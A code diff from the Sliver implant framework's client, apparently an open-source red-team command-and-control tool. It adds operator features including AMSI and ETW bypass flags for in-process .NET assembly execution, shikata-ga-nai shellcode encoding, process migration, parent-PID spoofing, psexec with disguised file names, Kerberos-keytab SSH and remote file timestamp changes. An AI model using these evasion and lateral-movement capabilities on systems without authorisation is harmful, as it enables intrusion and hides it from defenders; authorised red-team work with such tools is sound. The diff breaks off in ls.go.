+			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+		})
+		for _, rowEntries := range cursedProcesses {
+			row := table.Row{}
+			for _, entry := range rowEntries {
+				row = append(row, entry)
+			}
+			tw.AppendRow(table.Row(row))
+		}
+		con.Printf("%s\n", tw.Render())
+	} else {
+		con.PrintInfof("No cursed processes\n")
+	}
+}
+
+// selectCursedProcess - Interactively select a cursed process from a list
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+	cursedProcesses := []*core.CursedProcess{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+		return true
+	})
+	if len(cursedProcesses) < 1 {
+		con.PrintErrorf("No cursed processes\n")
+		return nil
+	}
+
+	port2process := map[int]*core.CursedProcess{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, cursedProcess := range cursedProcesses {
+		fmt.Fprintf(table, "%d\t%s\t%s\n",
+			cursedProcess.BindTCPPort,
+			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+			cursedProcess.ExePath)
+		port2process[cursedProcess.BindTCPPort] = cursedProcess
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a curse:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+	return port2process[selectedPortNumber]
+}
+
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}

client/command/exec/execute-assembly.go

@@ -20,10 +20,11 @@ package exec
 
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	assemblyBytes, err := os.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -57,22 +58,49 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+	inProcess := ctx.Flags.Bool("in-process")
+
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")
+
+	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+		return
+	}
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 && !inProcess {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		IsDLL:     isDLL,
-		Process:   process,
-		Arguments: assemblyArgsStr,
-		Assembly:  assemblyBytes,
-		Arch:      ctx.Flags.String("arch"),
-		Method:    ctx.Flags.String("method"),
-		ClassName: ctx.Flags.String("class"),
-		AppDomain: ctx.Flags.String("app-domain"),
+		Request:     con.ActiveTarget.Request(ctx),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
+		ProcessArgs: processArgs,
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   inProcess,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -23,7 +23,6 @@ import (
 	"context"
 	"fmt"
 	"io"
-	"io/ioutil"
 	"log"
 	"os"
 
@@ -44,6 +43,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -60,8 +60,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +98,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/exec/execute.go

@@ -18,7 +18,6 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -47,6 +46,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	stderr := ctx.Flags.String("stderr")
 	saveLoot := ctx.Flags.Bool("loot")
 	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
 	hostName := getHostname(session, beacon)
 
 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +61,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token {
-		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+	if token || ppid != 0 {
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -239,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 
 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
 
-	outFilePath, err = ioutil.TempFile("", outFileName)
+	outFilePath, err = os.CreateTemp("", outFileName)
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/exec/migrate.go

@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -18,9 +21,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -31,14 +36,50 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	pid := ctx.Args.Uint("pid")
+	pid := ctx.Flags.Uint("pid")
+	procName := ctx.Flags.String("process-name")
+	if pid == 0 && procName == "" {
+		con.PrintErrorf("Error: Must specify either a PID or process name\n")
+		return
+	}
+	if procName != "" {
+		procCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
+		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %v\n", err)
+			return
+		}
+		procCtrl <- true
+		<-procCtrl
+		for _, p := range proc.GetProcesses() {
+			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
+				pid = uint(p.Pid)
+				break
+			}
+		}
+		if pid == 0 {
+			con.PrintErrorf("Error: Could not find process %s\n", procName)
+			return
+		}
+		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
+	}
 	config := con.GetActiveSessionConfig()
+	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+	if ctx.Flags.Bool("disable-sgn") {
+		encoder = clientpb.ShellcodeEncoder_NONE
+	}
+
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
+		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/psexec.go

@@ -21,17 +21,19 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
-	insecureRand "math/rand"
+	"os"
 	"strings"
 	"time"
 
+	insecureRand "math/rand"
+
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
 )
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
 	} else {
 		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := ioutil.ReadFile(customExe)
+		fileBytes, err := os.ReadFile(customExe)
 		if err != nil {
 			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
 			return
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary = fileBytes
 	}
 
-	filename := randomString(10)
+	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomString(length int) string {
-	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-	b := make([]byte, length)
-	for i := range b {
-		b[i] = charset[insecureRand.Intn(len(charset))]
+func randomFileName() string {
+	noun, _ := codenames.RandomNoun()
+	noun = strings.ToLower(noun)
+	switch insecureRand.Intn(3) {
+	case 0:
+		noun = strings.ToUpper(noun)
+	case 1:
+		noun = strings.ToTitle(noun)
 	}
-	return string(b)
+
+	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
+	sep := separators[insecureRand.Intn(len(separators))]
+
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	prefix := ""
+	for index := 0; index < insecureRand.Intn(3); index++ {
+		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	suffix := ""
+	for index := 0; index < insecureRand.Intn(6)+1; index++ {
+		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+
+	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
 }

client/command/exec/sideload.go

@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
@@ -45,11 +45,13 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
 		IsUnicode:   ctx.Flags.Bool("unicode"),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -1,9 +1,27 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/exec/ssh.go

@@ -1,8 +1,26 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	port := ctx.Flags.Uint("port")
-	privateKeypath := ctx.Flags.String("private-key")
-	if privateKeypath != "" {
-		privKey, err = ioutil.ReadFile(privateKeypath)
+	privateKeyPath := ctx.Flags.String("private-key")
+	if privateKeyPath != "" {
+		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -43,6 +61,22 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
+	kerberosRealm := ctx.Flags.String("kerberos-realm")
+	kerberosConfig := ctx.Flags.String("kerberos-config")
+	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
+
+	if kerberosRealm != "" && kerberosKeytabFile == "" {
+		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
+		return
+	}
+	kerberosKeytab := []byte{}
+	if kerberosKeytabFile != "" {
+		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
 
 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -59,6 +93,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
+		Realm:    kerberosRealm,
+		Krb5Conf: kerberosConfig,
+		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {

client/command/extensions/load.go

@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		if !depLoaded && extName == ext.DependsOn {
 			depLoaded = true
 		}
-		if ext.Name == extName {
+		if ext.CommandName == extName {
 			return nil
 		}
 	}

client/command/filesystem/chmod.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChmodCmd - Change the permissions of a file on the remote file system
+func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	fileMode := ctx.Args.String("mode")
+
+	if fileMode == "" {
+		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
+		return
+	}
+
+	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		FileMode:  fileMode,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chmod.Response != nil && chmod.Response.Async {
+		con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chmod)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChmod(chmod, con)
+		})
+		con.PrintAsyncResponse(chmod.Response)
+	} else {
+		PrintChmod(chmod, con)
+	}
+}
+
+// PrintChmod - Print the chmod response
+func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
+	if chmod.Response != nil && chmod.Response.Err != "" {
+		con.PrintErrorf("%s\n", chmod.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chmod.Path)
+}

client/command/filesystem/chown.go

@@ -0,0 +1,92 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChownCmd - Change the owner of a file on the remote file system
+func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	uid := ctx.Args.String("uid")
+
+	if uid == "" {
+		con.PrintErrorf("Missing parameter: user id\n")
+		return
+	}
+
+	gid := ctx.Args.String("gid")
+
+	if gid == "" {
+		con.PrintErrorf("Missing parameter: group id\n")
+		return
+	}
+	
+	chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		Uid:  uid,
+		Gid:  gid,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chown.Response != nil && chown.Response.Async {
+		con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chown)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChown(chown, con)
+		})
+		con.PrintAsyncResponse(chown.Response)
+	} else {
+		PrintChown(chown, con)
+	}
+}
+
+// PrintChown - Print the chown response
+func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
+	if chown.Response != nil && chown.Response.Err != "" {
+		con.PrintErrorf("%s\n", chown.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chown.Path)
+}

client/command/filesystem/chtimes.go

@@ -0,0 +1,107 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChtimesCmd - Change the access and modified time of a file on the remote file system
+func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	// DateTime layout (https://pkg.go.dev/time)
+	layout := "2006-01-02 15:04:05"
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	atime := ctx.Args.String("atime")
+
+	if atime == "" {
+		con.PrintErrorf("Missing parameter: Last accessed time id\n")
+		return
+	}
+
+	t_a, err := time.Parse(layout, atime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	unixAtime := t_a.Unix()
+
+	mtime := ctx.Args.String("mtime")
+
+	if mtime == "" {
+		con.PrintErrorf("Missing parameter: Last modified time id\n")
+		return
+	}
+
+	t_b, err := time.Parse(layout, mtime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	unixMtime := t_b.Unix()
+	
+	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		ATime:  unixAtime,
+		MTime:  unixMtime,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chtimes.Response != nil && chtimes.Response.Async {
+		con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chtimes)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChtimes(chtimes, con)
+		})
+		con.PrintAsyncResponse(chtimes.Response)
+	} else {
+		PrintChtimes(chtimes, con)
+	}
+}
+
+// PrintChtimes - Print the Chtimes response
+func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
+	if chtimes.Response != nil && chtimes.Response.Err != "" {
+		con.PrintErrorf("%s\n", chtimes.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chtimes.Path)
+}

client/command/filesystem/download.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}
 
 		// Add an extension to a directory download if one is not provided.

client/command/filesystem/ls.go

@@ -149,13 +149,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)
 
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
-		} else if fileInfo.Link != "" {
-			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
-		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		owner := ""
+		if fileInfo.Uid != "" {
+			owner = fileInfo.Uid
 		}
+		if fileInfo.Gid != "" {
+			owner = owner + ":" + fileInfo.Gid + "\t"
+		}
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		} else {
